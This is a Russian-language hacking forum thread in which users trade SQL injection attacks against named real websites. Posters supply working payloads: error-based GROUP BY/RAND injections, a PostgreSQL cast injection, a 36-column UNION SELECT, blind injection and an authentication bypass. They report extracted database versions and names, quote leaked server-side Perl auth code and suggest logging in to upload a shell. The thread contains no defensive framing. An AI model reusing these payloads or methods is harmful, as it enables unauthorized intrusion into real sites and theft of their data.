Вопросы по уязвимостям

[Воришко]

Парни… Мне на античате не помогли, мож тут помогут кто.

Есть SQL такие которые сам не могу раскрутить:
http://www.bonus-flash.ru/download_209'.html
не могу ни количество колонок подобрать, ни в ошибку вывести, order by показывает при любом количестве несоответствие колонок, а group by так и вовсе не работает.
Если выводить в ошибку там тоже не даёт, что то ему не хватает…

http://www.u-tube.ru/pages/video/
Посылаем POST запрос такой:
TagId=&words='
Видим ответ:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'public' ORDER BY UploadDate DESC LIMIT 0,24' at line 1

Вот… все мои попытки вывести в ошибку ничем не увенчались, что то тут не так, у кого получится скажу спасиб

http://pozdravleniy.net/ru/profile/remind/action-apply/index.html
Так же надо послать POST запрос:
email=%27
Показывает половину SQL запроса, а ошибочки нужной нету, поэтому вывод в ошибку невозможен, а можно ли на экран в данном случае, вот не знаю, даже
Кто поможет буду рад.

http://www.nelikvidi.com/cgi-bin/user/auth.cgi
Так же надо послать POST запрос:
login=%27&password=%27
Тут тоже самое что и с сайтом pozdravleniy.net, нету MySQL ошибки, а есть ли возможность вывести на экран, это под вопросом…

И напоследок SQL которая по всей видимости нормально фильтруется:
http://www.shopping-spb.su/index.php?page_id=446'
фильтр на select, раскрутить не вижу возможным, но как говорится нет ничего не возможного, и может быть кто то обойдет его, хотя я реально сомневаюсь.

Очень надеюсь на вашу помощь.

[banana]

Сообщение от Воришко

http://www.bonus-flash.ru/download_209'.html

Можешь вывести в отчете об ошибках

http://www.bonus-flash.ru/download_123+OR%20%28SELECT%20COUNT%28*%29%20FROM%20%28SELECT%201%20UNION%20SELECT%202%20UNION%20SELECT%203%29x%20GROUP%20BY%20MID%28VERSION%28%29,%20FLOOR%28RAND%280%29*2%29,%2064%29%29%20--.html

[ajkaro]

Сообщение от Воришко

http://www.shopping-spb.su/index.php?page_id=446'

Try Error based

http://www.shopping-spb.su/index.php?page_id=(@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)-- -

Query failed : Duplicate entry '5.1.581' for key 'group_key'

[Воришко]

Сообщение от ajkaro

Try Error based

http://www.shopping-spb.su/index.php?page_id=(@:=1)or@ group by concat(@@version,@:=!@)having@||min(0)-- -

Query failed : Duplicate entry '5.1.581' for key 'group_key'

Ну это и так понятно, можно версию вывести, а можно ещё пользователя, и даже базу данных, но без селекта раскрутка не возможна.

[opium]

DrakonHaSh, может можно как-то весь подзапрос зашифровать?

[DrakonHaSh]

Сообщение от opium

DrakonHaSh, может можно как-то весь подзапрос зашифровать?

нельзя - ключевые слова, поля, имена таблиц должны указываться прямым текстом.
формировать запрос строкой можно в хранимых процедурах, см например здесь. в теме sql-inj этот метод неактуален.

[spari]

Сообщение от Воришко

Парни… Мне на античате не помогли, мож тут помогут кто.

Есть SQL такие которые сам не могу раскрутить:
http://www.bonus-flash.ru/download_209'.html
не могу ни количество колонок подобрать, ни в ошибку вывести, order by показывает при любом количестве несоответствие колонок, а group by так и вовсе не работает.
Если выводить в ошибку там тоже не даёт, что то ему не хватает…

http://www.u-tube.ru/pages/video/
Посылаем POST запрос такой:
TagId=&words='
Видим ответ:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'public' ORDER BY UploadDate DESC LIMIT 0,24' at line 1

Вот… все мои попытки вывести в ошибку ничем не увенчались, что то тут не так, у кого получится скажу спасиб

http://pozdravleniy.net/ru/profile/remind/action-apply/index.html
Так же надо послать POST запрос:
email=%27
Показывает половину SQL запроса, а ошибочки нужной нету, поэтому вывод в ошибку невозможен, а можно ли на экран в данном случае, вот не знаю, даже
Кто поможет буду рад.

http://www.nelikvidi.com/cgi-bin/user/auth.cgi
Так же надо послать POST запрос:
login=%27&password=%27
Тут тоже самое что и с сайтом pozdravleniy.net, нету MySQL ошибки, а есть ли возможность вывести на экран, это под вопросом…

И напоследок SQL которая по всей видимости нормально фильтруется:
http://www.shopping-spb.su/index.php?page_id=446'
фильтр на select, раскрутить не вижу возможным, но как говорится нет ничего не возможного, и может быть кто то обойдет его, хотя я реально сомневаюсь.

Очень надеюсь на вашу помощь.

about pozdravleniy.net,the injection is here-
...FROM table WHERE OWER(email) = LOWER('injection')
so,close the tag first,and inject like regular postgresql injection-

email=')and 1=version()::int-- -

PostgreSQL 9.1.8

about bonus-flash.ru,the injection is inside UPDATE,so use error based as banana said.

about u-tube.ru,the injection is like the first one,inside ('here'),so

TagId=&words=')UNION SELECT 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36-- -

5.0.77

about nelikvidi.com,the input is converted to md5(base64) to update statement,so you can use blind.

login='union select substr(@@version,1,1)=5-- -&password=a

version 5.

[elk]

shopping-spb.su

db: ricklama_shopp
Ни одной таблицы не подобрал, может префикс какой...

[Consistent]

Ребят, помогите.
Ситуация следующая.
Нашел уязвимость на сайте (sql-inj)
http://www.site.com/news/razdel_1/info6762'.cfm
вываливается ошибка.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''info6762'' AND a.news_cat = b.news_cat' at line 1

подобрал поля:
http://www.site.com/news/razdel_1/info6762'+union+select+1,2,3,4,5--+.cfm (.cfm в конце обязательно. Без него не работает.)

если запрос неверный-редиректит на 404 и обрезает линк с иньекцией
http://www.site.com/news//.cfm

Если ошибка, то перекидывает на главную.
www.site.com

если верное-так же редиректит на 404, но в урле после редиректа остаются принтабельные поля
http://www.site.com/news/5/3.cfm

Принтабельные 5 и 3 соответственно.

Вывел версию, юзера,базу, урл принял такой вид после редиректа
http://www.site.com/news/5/site@site.uk.vds.secure.com:5.1.67:site.cfm
При чем user() и database() выводятся только если обьеденить в concat() с version()

Доступа к mysql.user нет.

Версия mysql 5.1.67, но ни в какую не хочет выводить information_schema.columns \ tables \ schemata, перекидывает на главную.

Как быть в такой ситуации? Софт не берет, пробовал sqlmap, havij
Кому интересно, закину линк посмотреть в пм

[~d0s~]

Сообщение от spari

about nelikvidi.com,the input is converted to md5(base64) to update statement,so you can use blind.

login='union select substr(@@version,1,1)=5-- -&password=a

version 5.

or he can easier use update statement to login and upload shell

login=asd' or id=1-- -&password=asdas

//auth.cgi
my $q="SELECT id FROM account WHERE password='$hash_pass' AND BINARY login='$login'";
	my @arr=&row_look($q);
//...
#Ставим сессию в таблицу account
			my $q="UPDATE account SET sid='$hash_session', lastdate=NOW() WHERE password='$hash_pass' AND login='$login'";
			my @arr=&col_look($q);
	}

//auth.pl
//..
sub who{ 

	if($csid){

		# проверяем соответствие в базе
		my$sql=qq~
		SELECT 
		a.id, 
		a.name, 
		a.username
		FROM account a
		WHERE a.sid='$csid'
		~;
		my$data=&quest($sql);